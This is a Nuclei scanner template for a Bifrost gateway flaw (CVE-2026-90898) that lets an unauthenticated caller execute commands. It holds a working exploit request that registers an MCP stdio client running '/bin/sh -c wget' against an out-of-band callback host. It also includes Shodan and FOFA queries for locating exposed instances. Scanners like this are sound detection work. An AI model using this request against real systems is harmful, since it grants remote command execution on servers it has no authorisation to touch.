id: CVE-2026-90898

info:
  name: Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution
  author: alex700
  severity: critical
  description: |
    When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.
  impact: |
    An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.
  remediation: |
    Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.
  reference:
    - https://github.com/maximhq/bifrost/pull/6757
  classification:
    cve-id: CVE-2026-90898
    epss-score: 0.02311
    epss-percentile: 0.83283
    cwe-id: CWE-78
  metadata:
    max-request: 1
    vendor: maximhq
    product: bifrost
    shodan-query: http.html:"bifrost-shell"
    fofa-query: body="bifrost-shell"
  tags: cve,cve2026,bifrost,rce,oast,intrusive,vkev

variables:
  client_name: "mcpchk_{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        @timeout: 45s
        POST /api/mcp/client HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{client_name}}","connection_type":"stdio","stdio_config":{"command":"/bin/sh","args":["-c","wget -q -O /dev/null http://{{interactsh-url}}/bifrost-90898"]},"tools_to_execute":["*"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500 && contains(body, "context deadline exceeded") && contains(interactsh_protocol, "http")'
# digest: 4a0a0047304502202accd9cc99b039c4c094c83e005e6df0318e8757ff36a51555de638bdbb818c8022100b803c3f541309444416af705877017162d4c94ed6322d6eaa541d3c60a04e1b5:922c64590222798bb761d5b6d8e72950